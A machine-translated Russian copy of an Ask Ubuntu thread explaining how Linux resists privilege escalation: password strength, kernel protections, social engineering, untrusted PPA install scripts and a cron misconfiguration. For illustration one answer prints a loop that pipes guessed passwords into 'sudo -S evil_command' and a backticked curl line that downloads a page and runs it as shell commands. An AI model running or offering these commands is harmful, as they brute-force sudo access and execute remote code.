Как система защищена?


24

Я понимаю, что если какая-либо вредоносная программа проникнет в систему Linux, она, в лучшем случае, получит привилегию на уровне пользователя и разрушит все, что находится в пределах досягаемости конкретного пользователя, то есть собственные файлы пользователя.

Но что именно мешает вредоносным программам получить доступ на уровне root? Разве это не может как-то взломать пароль изнутри?


Отличный вопрос и ответы!
NlightNFotis

Ответы:


20

Это сложный вопрос. В системе Ubuntu существует множество различных уровней безопасности, от сложных сред, таких как AppArmor, до простых переменных ядра, таких как mmap_min_addr. Вы можете добавить некоторые функции ядра, такие как рандомизация памяти в миксе. Вы можете найти их список вместе с краткими пояснениями в Ubuntu Wiki .

Другим важным фактором является то, что обновления выполняются быстро и просто - поэтому большинство компьютеров будут обновлены до последних исправлений безопасности.

Насколько я знаю, у злоумышленника, получившего локальный доступ к вашему компьютеру, есть три способа масштабирования привилегий ядра:

  1. Взломай пароль. Но это будет действительно сложно, пароль хранится в зашифрованном виде с использованием алгоритмов без известных недостатков. Потребуются века, чтобы взломать это.

  2. Ошибка в ядре. Но все функции безопасности ядра будут мешать.

  3. Уловка пользователя, чтобы выдать пароль, то есть социальная инженерия. Просто покажите диалог с фальшивым паролем или воспользуйтесь другим приемом. Это самый простой способ сделать это.

Третий момент - самая слабая уязвимость на данный момент.


5
Обратите внимание, что этот «пароль» является паролем пользователя с привилегиями sudo-to-root. Учетная запись root по умолчанию отключена. № 3 действительно самая вероятная вещь, чтобы случиться. Кроме того, если вы устанавливаете ненадежные репозитории, вы предоставляете бесплатные корневые учетные записи этому репозиторию.
Лекенштейн

@ Лекенштейн, что ?! Как добавление ненадежных репозиториев дает root-доступ? Кстати, вы можете опубликовать его как ответ, я хочу, чтобы эта тема была своего рода вики сообщества.
Oxwivi

В askubuntu не существует никаких потоков, кроме процессов сервера. Вы только что оставили комментарий к ответу на свой вопрос . Я добавил ответ с пищей для размышлений.
Лекенштейн

@Oxwivi Когда вы добавляете PPA и устанавливаете пакет, пакет содержит сценарии preinst и postinst, которые могут делать все что угодно. Он также может установить сервис для запуска от имени пользователя root или связываться с ним sudoers.
Восстановить Монику - Sep--

15

Взломать пароль пользователя root невозможно, потому что Ubuntu по умолчанию отключил пользователя root. Однако, если ваш пользователь может стать пользователем root с помощью sudo, а ваш пароль легко угадать / перебор, значит, у вас небезопасная система. Пример скрипта, пытающегося проверить пароль:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Добавление ненадежного репозитория позволяет устанавливать программы из этого репозитория. Даже если вы явно не устанавливаете подобное приложение sudo apt-get install [app-from-repo], репозиторий может по-прежнему влиять на другие программы, заставляя Ubuntu полагать, что репозиторий содержит более новую версию определенной программы.

Процесс обновления запускается с правами root, иначе файлы не могут быть записаны в /usr/binили /etc. Триггер установки также запускается от имени пользователя root и может запускаться произвольно, а возможно, и вредными командами. Теперь не беспокойтесь, для обновления программ необходимы ручные действия, а репозитории Ubuntu безопасны. Программное обеспечение с закрытым исходным кодом, такое как Windows, никогда не может быть полностью доверенным, поскольку вы не можете проверить источник на наличие вредоносного кода, но вы можете просмотреть источник приложения Ubuntu, если вам нужно (не относится к проприетарным программам, таким как sun-java6или Flash).

Как упомянул Хавьер Ривера, ошибки в ядре могут привести к выполнению произвольного кода, но программное обеспечение с ошибками, возможно, также опасно, особенно глючные setsuidкорневые двоичные файлы (двоичные файлы, которые будут работать под владельцем файла, root) и другие ошибочные программы, работающие от имени root.

Вы можете создать дыры в безопасности своей системы, если не обращаете внимания на то, что делаете. Например, не полностью понимая концепцию cronjobs, вы добавили cronjob, к /etc/cron.dailyкоторому запускается программа в вашей домашней папке (например, /bin/sh /home/your-username/myscript.shесли файл myscript.sh доступен для записи вами, вы можете удалить его, эксплойт может привести к вредоносному ПО). код, в myscript.shкотором будет выполняться от имени пользователя root (повышение привилегий).

Чтобы оставаться в безопасности, используйте свой разум! Не запускайте команды из ненадежных источников, если вы не знаете, что он делает. Если кто-то говорит «беги `curl 3221233674`с галочкой», не надо. 3221233674 - это еще один способ записи 192.0.32.10(IP-адрес example.com). Таким образом, это будет равно:

`curl http://example.com/`

Эти обратные галочки заставляют вывод выполняться как команды оболочки. На простом английском языке: «Загрузите страницу http://example.com/ и попробуйте выполнить загруженную страницу».

Во-первых, в данной команде вы не увидите ничего вредоносного. Но теперь вы знаете, что этим тоже можно злоупотреблять.

Всегда проверяйте команды / сценарии, которые вы получаете из ненадежных источников, таких как Интернет.


1
Спасибо за ответ, надеюсь, вы не возражали против моих правок. Обратите внимание на мои правки, чтобы улучшить свой английский.
Oxwivi

2
Нет, я не против. Любое улучшение приветствуется :)
Lekensteyn

Несмотря на это, это отличный пост, отмеченные вами пункты должны быть отмечены!
Oxwivi
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.